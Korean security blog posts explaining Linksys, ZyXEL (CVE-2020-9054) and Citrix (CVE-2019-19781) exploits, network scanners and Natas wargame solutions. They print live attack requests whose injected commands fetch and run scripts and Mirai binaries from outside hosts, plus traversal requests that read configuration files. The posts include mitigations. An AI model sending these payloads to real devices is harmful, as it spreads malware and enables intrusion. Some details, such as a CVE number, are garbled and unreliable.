Virusdie는 2012년에 설립되어 웹 마스터를위한 가장 쉽고 강력한 자동 웹 사이트 보안 도구를 제공하며, 2014년에 Virusdie LLC로 재구성하여 전 세계로 전환했습니다. 그리고 현재 Virusdie는 웹 사이트 소유자, IT 관리자, 호스트, 대행사, 기술 플랫폼 및 엔터프라이즈 배포 업체와 파트너 관계를 맺고 전 세계 1,250 만 개 이상의 사이트에 웹 사이트 보안 솔루션을 제공 중입니다.

제품 : Virusdie (SaaS), Virusdie.Server (호스트, 개발자, VPS 및 전용 서버를위한 독립 실행 형 솔루션)
Virusdie crawler 봇은 웹 사이트들의 정보를 크롤링하기 위해 사용됩니다.

Name:	Virusdie crawler
URL:
User Agent Key:	Virusdie crawler
User Agents:	Virusdie crawler/3.0

좋은 봇, 나쁜 봇?

봇은 사용방법에 따라 악성의 구분을 짓기는 어렵습니다. 그러므로 아카마이 측은, 봇 대응에 고민하는 기업들에게 비즈니스 영향에 따라 봇을 분류하라고 하였습니다.

단순히 봇을 차단하지 않고 GOOD, BAD로 나누어 관리하고 봇에 대한 트래픽을 모니터링하여 동향 분석, 업무에 영향이 미치는지 파악이 중요합니다.

만약, 비즈니스에 영향이 미치지 않고 이익이 있다면 관리를 해야하는 대상이 됩니다. 예를들어, 경쟁사가 우리 회사의 가격 정보를 실시간으로 크롤링 해 간다고 가정한다면, 가짜 가격정보를 건내주어 '오판'하도록 유도할 수 있습니다.

오히려 온라인 미디어 업계에서는 콘텐츠 수집 봇만 걸러내어 방문자가 줄어드는 것을 방지하기도 합니다.

참고 사항

http://www.robotstxt.org/db.html
http://www.botreports.com

https://www.mk.co.kr/

www.mk.co.kr

BotReports.com - Updates on the bots and user-agents for the latest spiders, crawlers, scrapers and more

We collect and share information about different bots (user-agents) that you may see visiting your site. If you have noticed a bot that you are not familiar with, search our database of bots. We list many bots that were reported as bad bots and provide

www.botreports.com

The Web Robots Pages

www.robotstxt.org

[V-Web] 15. LinkSys Remote Command Execution (LinkSys 원격 명령 실행 취약점)

SecuIT — Fri, 3 Jul 2020 16:16:23 +0900

Intro

링크시스(Linksys)란?

벨킨이 현재 생산하고 있는 가정 및 소규모 오피스 네트워크 제품의 브랜드 이름입니다.

Summary

본래 1995년에 설립한 별개의 기업이었으나, 2003년에 시스코 시스템즈에 인수되었고 이후, 2013년 5월에 벨킨에 인수되었습니다.

[Linksys 라우터, 스위치, WiFi 제품]

제품들은 과거부터 현재까지 브로드밴드 및 무선 라우터, 소비자 및 소규모 비즈니스 이더넷 스위치, VoIP 장비, 무선 인터넷 비디오 카메라, AV 제품, 네트워크 스토리지 시스템 등의 제품으로 분류되어 판매되고 있습니다.

Explanation

Linksys E-series devices

1. Bypass URL

POST/tmBlock.cgi HTTP/1.1

현 취약점은 LinkSys의 인증되지 않은 원격 코드 실행에 대한 악용 취약점입니다. TheMoon 웜에 의해 악용되어 발생하며, 해당 웜은 2009년 영화 "The Moon"의 가상 회사인 Lunar Industries의 로고가 포함되어 있기 때문에 TheMoon 이라 불리게 되었습니다.

웜은 라우터의 모델 및 펌웨어 버전을 식별하기 위해 HNAP 요청을 보내며, 장치가 취약한 것으로 판단되면 장치에서 로컬 명령을 실행할 수 있도록 특정 CGI 스크립트에 다른 요청을 보냅니다. 그리고 임의의 'admin' 자격증명을 보내지만 ,스크립트에 의해 검사되지 않게됩니다.

2. PayLoad

POST /tmBlock.cgi HTTP/1.1
Authorization: Basic YWRtaW46cG9ybmh1Yg==
Content-Type: application/x-www-form-urlencoded
Content-Length: 215
submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `wget%20http://l.ocalhost.host/lsys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&StartEPI=1

웜은 해당 취약점을 악용하여 MIPS 플랫폼 용으로 컴파일 된 ELF(실행 가능 및 링크 가능) 형식의 바이너리 파일을 다운로드하고 실행합니다. 그리고 새로운 라우터에서 실행될 때, 이 바이너리는 감염시킬 새로운 장치를 검색하기 시작합니다.

또한 임의의 번호가 낮은 임의의 포트에 HTTP 서버를 열고 이를 사용하여 새로 식별된 대상에 자체 복사본을 제공하게 됩니다.

*추가

/tmBlock.cgi, /tmUnblock.cgi, /hndBlock.cgi, /hndUnblock.cgi

Linksys WAP54G Wireless Access Points

1. Bypass URL

POST /debug.cgi HTTP/1.1

2. PayLoad

POST /debug.cgi HTTP/1.1
Host: [IP]:[Port]
Content-Length: 1024
Connection: keep-alive
Authorization: Basic R2VtdGVrOmdlbXRla3N3ZA
data1=;%s+wap54gv3%d;&command=ui_debug

Linksys WRT100, WRT110 consumer routers

1. Bypass URL

POST /ping.cgi HTTP/1.1

2. PayLoad

POST /ping.cgi HTTP/1.1
Host: [IP]:[Port]
Content-Length: 1024
Connection: keep-alive
Authorization: Basic YWRtaW46YWRtaW4
pingstr=&+;%s+wrt100_p%d;

Linksys E1500/E2500 routers

1. Bypass URL

POST /apply.cgi HTTP/1.1

2. PayLoad

POST /apply.cgi HTTP/1.1
Host: [IP]:[Port]
Content-Length: 1024
Connection: keep-alive
Authorization: Basic YWRtaW46YWRtaW4
submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_size=&;%s+e1500_p%d;&ping_times=5&traceroute_ip=127.0.0.1

[Shodan LinkSys 검색결과]

쇼단을 통한 검색결과, 전 세계적으로 많은 국가에서 사용 중이며, 취약점에 대비해야 합니다.

3. 취약한 버젼

- E4200 E3200 E3000 E2500 E2100L E2000 E1550 E1500 E1200 E1000 E900 E300

- WAG320N

- WAP300N WAP610N

- WES610N

- WET610N

- WRT610N WRT600N WRT400N WRT320N WRT160N WRT150N

※ 해결방안

1. 공격자가 접근하지 못하도록 펌웨어를 업데이트하는 것을 권고드립니다.

https://linksys-sh.com/ea7500/firmware-update/

Firmware Update

linksys-sh.com

2. 복잡한 로그인 암호를 사용하여 무차별적인 공격을 방지하는 것이 좋습니다.

참고사항

1. https://unit42.paloaltonetworks.com/

Unit 42 - Latest Cyber Security Research | Palo Alto Networks

This post is also available in: 日本語 (Japanese)

unit42.paloaltonetworks.com

[V-Tool] 02. Masscan - Kail Linux Scanner (칼리리눅스 스캐너)

SecuIT — Thu, 2 Jul 2020 17:42:41 +0900

Intro

Masscan이란? 대량 IP 포트 스캔할 수 있는 인터넷 규모의 포트 스캐너이며, 6분 이내에 전체 인터넷을 스캔하여 단일 시스템에서 초당 천만 개의 패킷을 전송할 수 있습니다.

KaliLinux에서 지원하며, 하기 링크가 경로입니다.

https://github.com/robertdavidgraham/masscan

robertdavidgraham/masscan

TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes. - robertdavidgraham/masscan

github.com

Explanation

1. 데비안(Debian)과 우분투(Ubuntu) 계열 설치

$ sudo apt-get install gcc git libpcap-dev 
$ git clone https://github.com/robertdavidgraham/masscan 
$ cd masscan 
$ make

해당 명령어를 통해 설치가 가능하며, /masscan/bin 경로에 설치됩니다.

Scanrand, Unicornscan 및 ZMap과 같은 포트 스캐너와 유사한 비동기 전송을 사용하고 임의의 포트 및 주소 범위를 허용하는 유연성이 매우 뛰어난것이 특징입니다.

*동기(Synchronous)와 비동기(Asynchronous) 개념

1. 동기(Synchronous)란? 요청과 그 결과가 동시에 일어난다는 의미입니다. 어떤 객체 또는 함수 내부에서 다른 함수를 호출했을 때, 해당 함수의 결과를 호출한 쪽에서 처리하면 동기 개념이 됩니다.

2. 비동기(Asynchronous)란? 요청과 그 결과가 동시에 일어나지 않는다는 의미입니다. 동기와 달리 어떠한 객체 또는 함수 내부에서 다른 함수를 호출했을 때, 해당 함수의 결과를 호출한 쪽에서 처리하지 않으면 비동기입니다.

2. Masscan 실행

[Masscan 해당 IP 대역의 80, 443 포트로 스캔]

172.217.0.0/16 IP대역을 포트 80번과 443번으로 스캔한다는 명령어이며, rate는 초당 패킷 수를 의미한다.

-p : 스캔할 포트
--rate : 초당 패킷 수
해당 설정 값은 적용하기 전에 주의가 필요하며, Masscan을 실행시킬 시스템이나 네트워크, VPS 서버가 많은 양의 트래픽을 지원하는지 확인해야 한다. (하드웨어의 스펙을 고려하여 사용해야만 한다.)

※ 해결방안

1. 출발지 IP를 통해 통신 방향 외부 -> 내부, 내부 -> 내부 접근의 여부를 찾아내어 업무적 연관성 파악 후 방화벽에서 해당 IP 차단 권고

참고사항

1. https://danielmiessler.com/study/masscan/

Masscan Examples: From Installation to Everyday Use | Daniel Miessler

Basic Background Installation Single-port Scans Multi-port Scans Scan Top Ports Scanning Fast Excluding Hosts Saving Your Configuration Examples Output

danielmiessler.com

2. https://resources.infosecinstitute.com/masscan-scan-internet-minutes/#gref

MASSCAN – Scan the Internet in minutes

Scanning is a really important part of any penetration testing. It gives us more information about our target which leads to narrowing the scope of the

resources.infosecinstitute.com

[V-Tool] 01. Zmap and Zgrab Scanner (Zmap, Zgrab 스캐너)

SecuIT — Thu, 2 Jul 2020 15:34:29 +0900

1. Zmap

Zmap은 The ZMap Team에서 개발한 대표 취약점 스캔 도구 중 하나입니다. 인터넷 전반의 네트워크 조사에서 최적화된 빠른 단일 패킷 네트워크 스캐너이며, 기가 비트로 연결된 컴퓨터에서 Zmap은 전체 공용 IPv4 주소 공간을 45분 이내에 검색할 수 있습니다.

만약 10GigE 연결과 Y_RING을 사용하면 Z맵이 5분 내에도 IPv4주소 공간을 검색할 수 있습니다.

2. Zgrab

GET / HTTP/1.1
Host: 000.000.000.000:3000
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */* Accept-Encoding: gzip

ZGrab은 ZMap과 연동하여 스캔을 수행하는 애플리케이션 계층의 오픈소스 도구입니다. 각종 프로토콜 HTTP, HTTPS, SSH, 텔넷, FTP, SMTP, POP3, IMAP, Modbus, BACNET, SiemensS7 및 TridiumFox를 지원하며, TLS 연결을 수행하고 TCP/IP 4443에서 ZMap이 찾는 모든 호스트의 루트 HTTP 페이지를 수집 가능합니다.

상기 RawData에 /가 찍히는 이유가 Zgrab이 호스트의 루트 HTTP 페이지를 수집하기 때문입니다.

[Zgrab을 이용하여 443 포트 사용여부 스캔]

※ 해결방안

1. 출발지 IP를 통해 통신 방향 외부 -> 내부, 내부 -> 내부 접근의 여부를 찾아내어 업무적 연관성 파악 후 방화벽에서 해당 IP 차단 권고

[V-Web] 14. ZyXEL NAS Command Injection 취약점 CVE-2020-9054 (ZyXEL NAS Command Injection vulnerability)

SecuIT — Thu, 2 Jul 2020 11:29:08 +0900

Intro

ZyXEL 회사는 네트워크 장치 제조 업체입니다. 대만에 본사를 두고 있으며, 북미, 유럽, 아시아 등에 지사를 두고 있습니다. 그리고 약 150개 이상의 국가에 제품을 판매하고 네트워크 공급 업체, 통신 회사, ISP 및 기타 중소기업들과 협력하고 있습니다.

Summary

[ZyXEL의 ZyWALL USG 제품]

ZyXEL에는 USG 시리즈는 올 인원 차세대 통합 보안장비(NGFW)가 대표적이고 바이러스, 악성코드, 웹 피싱, 스파이웨어, 스팸 등 외부의 불법 침입 시도를 차단할 수 있는 UTM 장비가 있습니다.

Kaspersky, Trend Micro, Cyren 과 같은 세계 최고의 보안 회사의 엔진을 탑재하여 주기적인 업데이트를 통해 최신 보안 위협으로 부터 빠르고 정확한 실시간 보호 기능을 제공하고 또한 SSL, IPSec, L2TP 와 같이 다양한 VPN 알고리즘 및 호환성을 지원하여 본사/지사 또는 다른 장소에서 보안이 강화된 원격 접속을 지원할 수 있도록 설계되었습니다.

[ZyXEL의 NAS 제품]

해당 취약점은 ZyxelNAS및 방화벽 제품에 사용되는 weblogin.cgi프로그램에서 원격 코드 실행 취약성이 발견되었고 프로그램에 대한 인증이 없으면 공격자가 OS명령 주입을 통해 원격 코드 실행을 수행할 수 있게 됩니다.

ZyXEL에서는 전체 제품 군을 철저히 조사한 후, 해당 취약성이 특정 펌웨어 버전을 실행하는 다음 제품에 영향을 미친다는 것을 확인했습니다.

펌웨어 버전 5.21 이전 버전을 실행하는 NAS제품.

펌웨어 버전 4DV4.35 패치 0~4DV4.35 패치 2를 실행하는 UTM, ATP및 VPN방화벽 펌웨어 버전이 4DV4.35 패치 0 이전인 경우에는 영향을 받지 않습니다.

Explanation

1. Bypass URL

GET /adv,/cgi-bin/weblogin.cgi?username=admin';ls #&password=asdf HTTP/1.1

실행 가능한 weblogin.cgi는 인증 중에 사용자 이름 매개 변수를 제대로 검사하지 않습니다. 공격자는 단일 따옴표' 를 사용하여 문자열을 닫고 세미 콜론을 사용하여 임의 명령을 결합하여 명령을 주입할 수 있게 됩니다. weblogin.cgi는 HTTP GET요청과 POST요청을 모두 허용하므로 공격자는 이러한 HTTP요청 중 하나에 악의적인 페이 로드를 포함시키고 코드를 획득할 수 있습니다.

2. PayLoad

POST /adv./cgi-bin/weblogin.cgi?username=admin ;cd /tmp;wget http://45.84.196.75/zi;sh zi; rm zi+#&password=aaaa HTTP/1.1
Host: 000.000.000.000
User-Agent: Go-http-client/1.1
Content-Length: 0
Content-Type: text/plain

해당 페이로드는 셸 스크립트를 tmp디렉토리에 다운로드하고 다운로드된 스크립트를 실행하여, 취약한 장치에서 증거를 제거하려고 시도했습니다.

#!/bin/bash 
wget http://45.84.196.75/bins/arm.bot -0 owo; chmod +x owo ;./owo exploit.zyxel rm -rf owO 
wget http://45.84.196.75/bins/arm5.bot -0 owo; chmod +x_owo ;./owo exploit.zyxel.arm5 rm -rf owO 
wget http://45.84.196.75/bins/arm6.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.arm6 rm -rf owO 
wget http://45.84.196.75/bins/arm7.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.arm7 rm -rf owO 
wget http://45.84.196.75/bins/x86.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.x86 rm -rf owO 
wget http://45.84.196.75/bins/mips.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.mips rm -rf owO 
wget http://45.84.196.75/bins/mpsl.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.mpsl rm -rf owO 
wget http://45.84.196.75/bins/sh4.bot -0 owo; chmod +x owo ;./owo exploit.zyxel.sh4 rm -rf owo

실행 시, zi 스크립트는 Mirai 봇의 다양한 아키텍처를 다운로드하고 다운로드 한 바이너리가 실행되며, 바이너리를 제거하게 됩니다.

*추가 - ZyXEL Router

GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca; `wget http://l.ocalhost.host/luci.sh -O -> /tmp/nemp;sh /tmp/nemp`&server_ip= HTTP/1.1
Accept: text/html,application/xhtml777ml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup
Accept-Language: en-US,en;q=0.8
Cookie: csd=9; sysauth=<Clipped>
Connection: close

[Shodan ZyXEL 검색결과]

쇼단을 통한 검색결과, 전 세계적으로 많은 국가에서 사용 중이며, 취약점에 대비해야 합니다.

3. 취약한 버젼

NAS326	펌웨어 V5.21(AAL4.7)C0
NAS520	펌웨어 V5.21(AAL5.3)C0
NAS540	펌웨어 V5.21(AATB.4)C0
NAS542	펌웨어 V5.21(ABAG.4)C0
ATP100	펌웨어 V4.35(AB.3)C0
ATP200	펌웨어 V4.35(FW.3)C0
ATP500	펌웨어 V4.35(AB.3)C0
ATP800	펌웨어 V4.35(고유. 3)C0
USG20-VPN	펌웨어 V4.35(NASDAQ.3)C0
USB/VPN	펌웨어 V4.35(ABAR.3)C0
USG40	펌웨어 V4.35(AALA.3)C0
USG40W	펌웨어 V4.35(AABA.3)C0
USG60	펌웨어 V4.35(AAL3.3)C0
USG60W	펌웨어 V4.35(AAL3.3)C0
USG110	펌웨어 V4.35(AAPH.3)C0
USG210	펌웨어 V4.35(AAPI.3)C0
USG310	펌웨어 V4.35(AAL3.3)C0
USG1100	펌웨어 V4.35(AAL3.3)C0
USG1900	펌웨어 V4.35(AAPL3)C0
USG2200	펌웨어 V4.35(ABAE.3)C0
VPN50	펌웨어 V4.35(ABHL.3)C0
VPN100	펌웨어 V4.35(ABL0.3)C0
VPN300	펌웨어 V4.35(ABFC.3)C0
VPN1000	펌웨어 V4.35(ABIP.3)C0
ZyWALL110	펌웨어 V4.35(AAAA.3)C0
ZyWALL310	펌웨어 V4.35(AAAB.3)C0
ZyLLLL 1100	펌웨어 V4.35(AAAC.3)C0

※ 해결방안

1. 공격자가 접근하지 못하도록 펌웨어를 업데이트하는 것을 권고드립니다.

https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml

Zyxel security advisory for the remote code execution vulnerability of NAS and firewall products | Zyxel

www.zyxel.com

2. 복잡한 로그인 암호를 사용하여 무차별적인 공격을 방지하는 것이 좋습니다.

참고사항

https://www.zyxel.com/

https://www.zyxel.com/r_ap/country.php

www.zyxel.com

https://unit42.paloaltonetworks.com/

Unit 42 - Latest Cyber Security Research | Palo Alto Networks

This post is also available in: 日本語 (Japanese)

unit42.paloaltonetworks.com

[V-Web] 13. CitrixADC 및 CitrixGateway 취약점 (Citrix ADC and Citrix Gateway Directory Traversal Vulnerability CVE-2019-19781)

SecuIT — Wed, 1 Jul 2020 12:40:16 +0900

Intro

CitrixADC는 CitrixSystems가 소유하는 네트워크 제품 군입니다.

CitrixSystems의 제품들은 소프트웨어 정의 광역 네트워킹 관리를 제공하는 CitrixADC, ADC(ApplicationDeliveryController), NetScalerAppFirewall, 애플리케이션 방화벽, NetScalerUnifiedGateway, NetScalerManagement&AnalyticsSystem, NetScalerSD-WAN으로 구성이 되어 있습니다.

Summary

[NetScaler 로그인 화면]

NetScaler는 1997년 MichelKSusai에 의해 처음 개발되었으며 2005년 Citrix에 인수되었습니다. 그리고 Citrix은 2016년에 비로서, NetScaler 브랜드로 모든 네트워킹 제품을 통합했습니다.

해당 취약점으로는 CitrixADC(ApplicationDeliveryController) 및 CitrixGateway에서 취약성이 발견되었으며, 이를 통해 원격 공격자는 디렉터리 통과 요청을 쉽게 보내고, 사용자 인증 없이 시스템 구성 파일에서 중요한 정보를 읽고, 임의 코드를 원격으로 실행할 수 있었습니다.

이 취약성은 지원되는 모든 제품 버전과 지원되는 모든 플랫폼에 영향을 주었습니다.

Explanation

1. 취약한 버젼

- CitrixADC 및 CitrixGateway 13.0 지원되는 모든 빌드
- CitrixADC 및 NetScalerGateway 12.1 지원되는 모든 빌드
- CitrixADC 및 NetScalerGateway 12.0 지원되는 모든 빌드
- CitrixADC 및 NetScalerGateway 11.1 지원되는 모든 빌드
- CitrixNetScalerADC 및 NetScalerGateway 10.5 지원되는 모든 빌드

해당 취약점은 CVE-1999-19781을 사용하며, 스캐닝을 시도된 흔적들을 발견하였습니다.

2020년 1월 10일에 취약점은 처음 공개하였고 위협 방지를 위해서 2020년 1월 7일에 고객에 대한 보호를 발표했습니다.

2. Payload

Directory traversal 취약점을 이용하여 경로명을 잘못 처리하여 발생되며, 시스템은 검증을 하지않고 들어오는 요청에 직접 경로를 사용하게 됩니다.

/vpn/../vpns/services.html

/vpn/.. 경로를 포함하여 요청하는 경우 /vpns/services.html은 Citrix제품에서 실행되는 Apache서버로 /vpn/..에서 경로를 변환하여 /vpns/로 간단히 진입하게 됩니다.

/vpn/../vpns/cfg/smb.conf

Apache 시스템에는 해당 취약점이 있으며, 이를 통해 원격 공격자는 사용자 인증 없이 디렉터리 통과 요청을 이용하고 /vpns/cfg/smb.conf 와 같이 중요한 설정파일을 액세스 할 수 있게 됩니다.

*추가

Get/vpn/.. /vpns/portal/scripts/newbm.pl HTTP/1.1

Get/vpn/.. /vpns/portal/scripts/rmbm.pl HTTP/1.1

3. 공격구문

Request

GET /vpn/../vpns/services.html HTTP/1.1
Host:
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac os x 10_13_6) ApplewebKit/537.36 ( KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*;q=0.8 ,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate
Accept-Language: en-Us,en;q=0.9

Response

HTTP/1.1 200 OK
Date: Fri, 10 Jan 2020 18:11:40 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Last-Modified: Wed, 13 Nov 2019 17 :06:53 GMT
ETag: c2-5973d642ca540
Accept-Ranges: bytes
Content-Length: 194
X-XsS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Connection : close
Content-Type: text/html; charset=UTF-8
<HTML>
<HEAD>
<meta http-equiv="Expires" content="Sat, 1 Jan 2000 08:00:00 GMT " />
<META HTTP-EQUIV="Refresh" content="0;URL=/logon/themes/Default/homepage.html">
</HEAD>
<BODY>
</BODY>
</HTML>

[PoC요청에 대한 성공적인 응답]

Request

GET /vpn/../vpns/cfg/smb.conf HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS x 10.14; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8, en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://000000000/vpn/
Connection: close

Response

HTTP/1.1 200 OK
Age: 1
Date: Wed, 08 Jan 2020 12:09:26 GMT
Connection: Keep-Alive
Via: NS-CACHE-10.0: 81
ETag:
Server: Apache
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 03 Sep 2019 20:53:47 GMT
Accept-Ranges: bytes
Content-Length: 83
X-XSS-Protection: 1; mode=block
Keep-Alive: timeout=15, max=100
Content-Type: text/plain; charset=UTF-8

[global]
encrypt passwords = yes
name resolve order = lmhosts wins host bcast

[PoC요청으로 smb.conf 파일에 성공적으로 액세스]

[SHODAN을 통한 Citrix 제품 검색결과]

Shodan의 Citrix를 대상으로 하는 간단한 검색을 통해 취약한 Citrix제품을 나타내는 수많은 결과들을 도출하였으며, Citrix는 1월 말에 CitrixADC및 CitrixGateway 10, 11, 12 및 13에 대한 패치가 릴리즈 될 것이라고 발표했습니다.

※ 해결방안

add responder action respondwith403 respondwith "\"HTTP/1.1 403 
Forbidden\r\n\r\n\""
 
add responder policy ctx267027 
"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && 
(!CLIENT.SSLVPN.IS_SSLVPN || 
HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" 
respondwith403

Citrix는 사용자에게 특정 응답자 정책을 적용하여, 공격 시도를 필터링 할 것을 권장하였습니다.

Directory traversal 시도 /../가 포함된 요청을 차단하고 /techniquesns/ 디렉터리에 액세스 하려는 요청도 차단하는 기술을 설명을 작성해 놓았습니다.

참고사항

https://unit42.paloaltonetworks.com/

Unit 42 - Latest Cyber Security Research | Palo Alto Networks

This post is also available in: 日本語 (Japanese)

unit42.paloaltonetworks.com

[W-Natas] 08. 나타스 레벨 6 (Nathas Level 5 -> Level 6)

SecuIT — Thu, 18 Jun 2020 19:41:24 +0900

OverTheWire WarGame 풀이 - Natas

*Natas는 서버 측 웹 보안의 기초를 가르치는 웹사이트 워게임입니다.
*반드시 연습용으로 제공된 환경에서만 작업하는 것을 권고 드리며, 악용으로 일어난 사태에 대해서는 절대로 책임지지 않습니다.

해당 URL을 통해 Level6로 진입합니다.

Level5에서 획득했던 비밀번호(aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1)를 입력해 입장합니다.

다음과 같은 유형은 임의의 값을 해당 폼에 입력하고 값이 일치한다면 풀리는 문제로 보입니다.

F12 개발자도구의 코드로 보아 POST 방식으로 값을 넘기게 되어있는 것을 확인할 수 있습니다.

먼저 정확한 내용을 파악하기 위해 View sourcecode 링크를 통해 index-source.html로 진입합니다.

<? ?> 해당 기호는 php 코드가 시작할 때 사용합니다. if ~ else 구문으로 $POST 방식으로 넘어온 값은 받아 $secret 변수와 비교합니다.

일치할 시에 "Access granted. The password for natas7 is <censored>"를 노출하며, 일치하지 않을 시에 "Wrong secret"를 노출하게 되어있습니다.

필요한 $secret 값을 알아내기 위해 "includes/secret.inc" 파일에 접근합니다.

INC란?

*.inc 파일은 웹프로그래밍을 할때 include를 위한 확장자입니다. 메인페이지의 경로로 많이 쓰이는 index.php 및 일반 페이지에서 항상 사용되는 함수나 HTML코드들을 담아두고 include해서 사용하게 됩니다.

여러 파일에 똑같은 소스가 중복되어 들어갈 경우 소스의 최적화와 유지보수 효율 증대를 위해 중복되는 소스만 따로 빼서 만든 새로운 파일이며, 주로 DB 연결, 호출 부분에서 가장 많이 쓰입니다.

ex) 메뉴나 헤더, 하단메뉴 등에도 많이 쓰입니다.(모듈화와 같은 개념)

includes/secret.inc 파일에 접근 결과, $secret = "FOEIUWGHFEEUHOFUOIU"; 값을 획득하였습니다.

결과적으로, Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 비밀번호를 획득할 수 있습니다.

해당 비밀번호를 통해 Level7로 진입합니다.

참조 :

www.dailyhostnews.com/companies-can-register-inc-domain

Companies can now register .inc domain for business websites

A new top-level domain (TLD) is coming to the scene that is especially meant for businesses. Called “.inc”, the new TLD will be operated by Intercap Registry Inc. Today, the names of millions of companies end with “Inc.” The new domain will allow t

www.dailyhostnews.com

[W-Natas] 07. 나타스 레벨 5 (Nathas Level 4 -> Level 5)

SecuIT — Thu, 18 Jun 2020 18:29:45 +0900

OverTheWire WarGame 풀이 - Natas

*Natas는 서버 측 웹 보안의 기초를 가르치는 웹사이트 워게임입니다.
*반드시 연습용으로 제공된 환경에서만 작업하는 것을 권고 드리며, 악용으로 일어난 사태에 대해서는 절대로 책임지지 않습니다.

해당 URL을 통해 Level5로 진입합니다.

Level4에서 획득했던 비밀번호(Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ)를 입력해 입장합니다.

Access disallowed. You are not logged in

액세스가 허용되지 않았습니다. 접속되지 않았습니다

다음과 같은 문구로 보아 이번에도 이전 레벨과 같은 인증 절차가 필요해 보입니다.

F12 개발자 도구로 보아 특별한 코드는 노출되지 않았습니다.

웹 프록시 도구 BurpSuite를 통해 확인 결과 Cookie : loggedin=0이 노출되고 있습니다. 예상이 맞다면 loggedin 값이 0일 시에 거부 1일 시에 허용이 되는 것 같습니다.

Cookie란?

쿠키(영어: cookie)란 하이퍼 텍스트의 기록서(HTTP)의 일종으로서 인터넷 사용자가 어떠한 웹사이트를 방문할 경우 그 사이트가 사용하고 있는 서버를 통해 인터넷 사용자의 컴퓨터에 설치되는 작은 기록 정보 파일을 일컫습니다.

HTTP 쿠키, 웹 쿠키, 브라우저 쿠키라고도 합니다. 이 기록 파일에 담긴 정보는 인터넷 사용자가 같은 웹사이트를 방문할 때마다 읽히고 수시로 새로운 정보로 바뀌며, 이 수단은 넷스케이프의 프로그램 개발자였던 루 몬툴리(Lou Montulli)가 고안한 뒤로 오늘날 많은 서버 및 웹사이트들이 브라우저의 신속성을 위해 즐겨 쓰고 있습니다.

쿠키는 소프트웨어가 아니며, 쿠키는 컴퓨터내에서 프로그램처럼 실행될 수 없고 바이러스를 옮길 수도, 악성코드를 설치할 수도 없습니다. 하지만 스파이웨어를 통해 유저의 브라우징 행동을 추적하는데에 사용될 수 있고, 누군가의 쿠키를 훔쳐서 해당 사용자의 웹 계정 접근권한을 획득할 수도 있다.

쿠키 값을 본 문제에서 요구하는 Cookie: loggdin=1로 변조하였습니다.

결과적으로, Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 비밀번호를 획득할 수 있습니다.

해당 비밀번호를 통해 Level6로 진입합니다.

참조 :

interconnection.tistory.com/74

쿠키와 세션 개념

쿠키와 세션은 개발자 말고도 인터넷 사용자라면 누구나 많이 들어본 단어입니다. 하지만 개념에 대해서는 많은 사람들이 헷갈려 하기에 쉽고 간단하게 정리해보려고 합니다. 일�

interconnection.tistory.com

ko.wikipedia.org/wiki/HTTP_%EC%BF%A0%ED%82%A4

HTTP 쿠키 - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 쿠키(영어: cookie)란 하이퍼 텍스트의 기록서(HTTP)의 일종으로서 인터넷 사용자가 어떠한 웹사이트를 방문할 경우 그 사이트가 사용하고 있는 서버를 통해 인터�

ko.wikipedia.org

www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?curPage=395&seq=12342

포털 및 국내 많은 사이트, ‘XSS 공격’에 취약해

대표 포털사 등 XSS 공격에 취약...접속자 개인정보 유출 위험 XSS 취약점 공격, SQL인젝센 공격과 함께 웹 공격의..

www.ahnlab.com

[W-Natas] 06. 나타스 레벨 4 (Nathas Level 3 -> Level 4)

SecuIT — Fri, 12 Jun 2020 00:54:59 +0900

OverTheWire WarGame 풀이 - Natas

*Natas는 서버 측 웹 보안의 기초를 가르치는 웹사이트 워게임입니다.
*반드시 연습용으로 제공된 환경에서만 작업하는 것을 권고 드리며, 악용으로 일어난 사태에 대해서는 절대로 책임지지 않습니다.

해당 URL을 통해 Level4로 진입합니다.

Level3에서 획득했던 비밀번호(Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ)를 입력해 입장합니다.

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

액세스가 허용되지 않았습니다. ""에서 방문하는 동안 승인 된 사용자는 "http://natas5.natas.labs.overthewire.org/"

다음과 같은 문구로 보아 허용된 사용자만 입장할 수 있게 설정된 것 같습니다.

Refresh page 링크를 클릭해 보니 " " 해당 부분에 링크를 누르기 전 경로가 노출되는 것을 확인할 수 있습니다.

